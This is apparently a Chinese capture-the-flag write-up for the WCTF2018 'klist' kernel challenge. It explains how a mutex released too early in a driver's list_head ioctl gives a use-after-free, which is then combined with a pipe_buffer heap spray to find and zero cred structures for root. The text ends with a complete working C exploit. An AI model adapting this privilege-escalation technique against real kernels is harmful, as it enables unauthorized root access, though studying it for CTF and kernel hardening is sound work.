WCTF2018-klist-WP

Posted on Jul 12, 2021

本文参考自 ha1vk 师傅的linux kernel pwn学习之条件竞争(一)

借着这道题初步学习了一下 kernel 中条件竞争的利用。本题主要是通过条件竞争造成 UAF,然后通过 pipe_buffer 造成堆喷射实现提权。

驱动注册了 ioctl,read 和 write 方法。

整个程序维护了一个单向链表,可以存储一定的数据。此链表的每一个节点都是一个不定长的结构体,用伪代码表示就是

struct DATA
{
  long long counter;
  long long buf_size;
  struct DATA* next;
  char buf[];
}

而 ioctl 实现了对该链表的增删查的功能

read 和 write 可以对 select_item 选定的节点进行读写。

对于链表结构体中的每个节点都有一个引用计数器 counter,在 add_item 是会把这个计数器置 1。相关的操作为 get 和 put

也就是 get 对 a1 结构体中的引用计数器加一,put 将其减一。并且 put 在引用计数器减到 0 时会把该结构体 free 掉。这种形式有点类似于 C++ 中的 std::shared_ptr

由于虚拟机使用的是多线程 CPU,而此链表是设备的全局变量,所以 get 和 put 操作都是临界区操作。

在前三个功能中,所有临界区代码都通过互斥锁进行了保护,而在 list_head 操作中

可见很刻意地在 put 操作前解开了互斥锁,这就存在一个条件竞争的漏洞,在执行 put(g_list) 时,可能这个 g_list 已经不是之前 get 的 g_list 了。

而 g_list 是链表的头节点,在 add_item 的时候

链表是头插的,也就是说,在 list_head 函数中,对互斥锁解锁后,put 结束前,如果有别的线程执行的 add_item 的操作,就会导致 g_list 变成一个引用计数器为 1 的节点,然后执行 put 的时候就会 free 掉这个节点,但是不会把该节点解链,这样就造成了一个 UAF。

有了 UAF 之后,就可以考虑提权了,之前学习通过劫持 tty_struct 的虚表提权,但是此内核中,init 脚本中有这么一句

chown root:tty /dev/ptmx

使我们在提权前无法使用 ptmx 驱动。这样就必须用别的方法来提权了,即 pipe_buffer+堆喷射。

之前提到链表中的每个节点的结构为

struct DATA
{
  long long counter;
  long long buf_size;
  struct DATA* next;
  char buf[];
}

而 pipe_buffer 的结构为

struct pipe_buffer {
	struct page *page;
	unsigned int offset, len;
	const struct pipe_buf_operations *ops;
	unsigned int flags;
	unsigned long private;
};

如果 pipe_buffer 使用了我们可以 UAF 的 chunk,那么 buf_size 字段的值就是 (len << 32) | offset。也就是说,对管道中写一定长度的数据就可以把 buf_size 伪造的非常大,然后通过驱动注册的 read 方法把堆全部读出来,找到其中的 cred 结构体,覆写 id 为 0 即可提权。

如果要做到让 pipe_buffer 使用我们可控的 chunk,就需要申请一个和 pipe_buffer 等大的 chunk,struct pipe_buffer 的大小为 0x28,并且在分配时乘了 0x10,所以我们申请出来的 chunk 的大小就应该是 0x280。

exp

#include <stdio.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <wait.h>

#define PIPE_BUF_SIZE 0x280
#define UID 1000

struct USER_REQ
{
	long long size;
	char* buf;
};


void select_item(int fd, long long idx)
{
	ioctl(fd, 0x1338, idx);
}

void add_item(int fd, char* buf, long long size)
{
	struct USER_REQ req;
	req.buf = buf;
	req.size = size;
	ioctl(fd, 0x1337, &req);
}

void remove_item(int fd, long long idx)
{
	ioctl(fd, 0x1339, idx);
}

void list_head(int fd, char* buf)
{
	ioctl(fd, 0x133A, buf);
}

void check_root()
{
	while (1)
	{
		sleep(1);
		if (getuid() == 0)
		{
			puts("[+] root");
			system("cat /flag");
			exit(0);
		}
	}

}

int main()
{
	int fd = open("/dev/klist", O_RDWR);
	if (fd < 0)
	{
		puts("[-] device open failed");
		exit(-1);
	}
	char buf1[PIPE_BUF_SIZE];
	char buf2[PIPE_BUF_SIZE];
	char buf_filled_A[PIPE_BUF_SIZE];
	char buf_filled_B[PIPE_BUF_SIZE];
	memset(buf1, 'A', PIPE_BUF_SIZE - 24);
	memset(buf2, 'A', PIPE_BUF_SIZE - 24);
	memset(buf_filled_A, 'A', PIPE_BUF_SIZE - 24);
	memset(buf_filled_B, 'B', PIPE_BUF_SIZE - 24);
	add_item(fd, buf_filled_A, PIPE_BUF_SIZE - 24);
	select_item(fd, 0);
	int pid = fork();
	if (pid < 0)
	{
		puts("[-] fork err");
		exit(-1);
	}
	else
	{
		if (pid == 0)
		{
			/* child */
			for (int i = 0; i < 200; i++)
			{
				if (fork() == 0)
				{
					check_root();
				}
			}
			/* race with the parent thread */
			while(1)
			{
				add_item(fd, buf_filled_A, PIPE_BUF_SIZE - 24);
				select_item(fd, 0);
				remove_item(fd, 0);
				add_item(fd, buf_filled_B, PIPE_BUF_SIZE - 24);
				read(fd, buf2, PIPE_BUF_SIZE - 24);
				if (buf2[0] != 'A')
				{
					puts("[+] race competed in child process");
					puts(buf2);
					break;
				}
				remove_item(fd, 0);
			}
			sleep(1);
			remove_item(fd, 0);
			int pipe_fd[2];
			pipe(pipe_fd);
			write(pipe_fd[1], buf_filled_B, PIPE_BUF_SIZE);
			size_t mem_len = 0x1000000;
			uint32_t* heap_data = calloc(1, mem_len);
			read(fd, heap_data, mem_len);
			int cnt = 0;
			size_t max_len = 0;
			for (int i = 0; i < mem_len / 4; i++)
			{
				if (heap_data[i] == UID && heap_data[i + 1] == UID && heap_data[i + 7] == UID)
				{
					puts("[+] found cred");
					memset(heap_data + i, 0, 28);
					max_len = i;
					if (cnt++ > 2)
					{
						break;
					}
				}
			}
			if (max_len == 0)
			{
				puts("[-] failed finding creds");
			}
			write(fd, heap_data, max_len * 4);
			check_root();
		}
		else
		{
			/* parent */
			while (1)
			{
				list_head(fd, buf1);
				read(fd, buf1, PIPE_BUF_SIZE - 24);
				if (buf1[0] != 'A')
				{
					/* race competed */
					puts("[+] parent detected race");
					break;
				}
			}
			wait(NULL);
		}
	}
}

条件竞争比较容易实现,但是成功完成提权不是很容易,需要多次尝试。